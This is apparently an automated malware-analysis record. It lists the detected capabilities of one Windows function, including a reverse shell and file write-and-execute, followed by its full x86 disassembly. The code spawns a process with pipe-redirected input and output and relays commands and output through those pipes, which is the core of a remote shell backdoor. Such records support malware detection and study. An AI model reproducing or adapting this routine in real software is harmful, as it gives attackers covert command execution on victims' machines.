Function at 0x403afb
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x2c]
sub esp, 0x44
push ebx
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov eax, dword [0x468730]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x403b53
push 0x468730
call fcn.0042a981
pop ecx
cmp dword [0x468730], esi
jne 0x403b53
push ebx
mov ecx, 0x468690
call fcn.0040152a
push 0x44ae97
call fcn.0042a821
mov dword [esp], 0x468730
call fcn.0042a942
pop ecx
mov eax, dword [0x468710]
cmp eax, dword [edi + 4]
jle 0x403b90
mov edi, 0x468710
push edi
call fcn.0042a981
pop ecx
cmp dword [0x468710], esi
jne 0x403b90
mov ecx, 0x468738
call fcn.004021b9
push 0x44ae8d
call fcn.0042a821
pop ecx
push edi
call fcn.0042a942
pop ecx
lea ecx, [ebp - 0x28]
call fcn.004021b9
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], ebx
cmp byte [0x464a5f], bl
jne 0x403d11
mov edx, 0x458554
mov ecx, 0x466d00
call fcn.00403f73
test al, al
je 0x403e97
push 0x45855c
call fcn.00430f5d
pop ecx
mov esi, 0x468738
push eax
mov ecx, esi
call fcn.00403f0f
push str._nF2
mov ecx, esi
call fcn.00402c79
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
push 0x468638
push 0x468714
push 0x46872c
mov dword [0x468638], 0xc
mov dword [0x468640], 1
mov dword [0x46863c], ebx
call esi
test eax, eax
je 0x403eb9
push ebx
push 0x468638
push 0x468734
push 0x468718
call esi
test eax, eax
je 0x403eb9
push 0x44
pop esi
push esi
push ebx
push 0x468648
call fcn.0042d620
add esp, 0xc
mov dword [0x468648], esi
xor eax, eax
mov dword [0x468674], 0x101
mov word [0x468678], ax
mov ecx, 0x468738
mov eax, dword [0x46872c]
push 0x46871c
mov dword [0x468680], eax
mov eax, dword [0x468734]
push 0x468648
mov dword [0x468684], eax
mov dword [0x468688], eax
call fcn.00402018
push eax
push ebx
push ebx
push 1
push ebx
mov esi, 0x466d00
push ebx
mov ecx, esi
call fcn.00402018
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, esi
push 0x458550
setne byte [0x464a5f]
call fcn.00403f0f
mov esi, 0x468690
mov byte [0x464a70], 1
mov ecx, esi
call fcn.00401663
push ecx
mov ecx, esi
call fcn.004016fe
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004021d0
push 0x93
mov ecx, esi
call fcn.004018d7
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x464a5f], bl
je 0x403e97
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x468718]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 8], ebx
jbe 0x403dd1
push dword [ebp - 8]
call fcn.00430cc6
pop ecx
push ebx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push dword [ebp - 8]
push eax
push dword [0x468718]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0xc], ebx
jbe 0x403dc6
cmp dword [ebp - 4], ebx
jbe 0x403d92
push dword [ebp - 4]
lea ecx, [ebp - 0x28]
call fcn.00402018
mov esi, dword [ebp - 0x10]
push eax
push esi
call fcn.00430ce0
add esp, 0xc
test eax, eax
jne 0x403d95
push esi
lea ecx, [ebp - 0x40]
call fcn.00402168
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
sub esp, 0x18
mov ecx, esp
push eax
push dword [ebp - 4]
jmp 0x403da7
mov esi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x40]
call fcn.00402168
sub esp, 0x18
mov ecx, esp
push dword [ebp - 0xc]
push ebx
lea eax, [ebp - 0x40]
push eax
call fcn.00403f18
push 0x62
mov ecx, 0x468690
call fcn.004018d7
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.00402081
push dword [ebp - 0x10]
call fcn.00430a97
pop ecx
jmp 0x403dee
sub esp, 0x18
mov ecx, esp
push 0x458550
call fcn.00402168
push 0x62
mov ecx, 0x468690
call fcn.004018d7
mov esi, eax
movzx eax, byte [0x464a70]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, 0x466d00
mov byte [0x464a70], al
call fcn.00402010
test eax, eax
je 0x403e63
push 0x45856c
mov ecx, 0x466d00
call fcn.00402c79
push 0x466d00
lea ecx, [ebp - 0x28]
call fcn.00402067
push ebx
lea eax, [ebp - 4]
mov ecx, 0x466d00
push eax
call fcn.00402010
push eax
mov ecx, 0x466d00
call fcn.00402018
push eax
push dword [0x468714]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x458550
mov ecx, 0x466d00
call fcn.00403f0f
jmp 0x403e66
mov dword [ebp - 4], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x464a70], bl
jne 0x403d11
push ebx
push dword [0x46871c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x468720]
call edi
push dword [0x46871c]
call edi
mov ecx, 0x468690
call fcn.00401c3f
push dword [0x468718]
call edi
push dword [0x468734]
call edi
mov byte [0x464a5f], bl
mov bl, 1
lea ecx, [ebp - 0x28]
call fcn.00402081
lea ecx, [ebp + 8]
call fcn.00402081
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret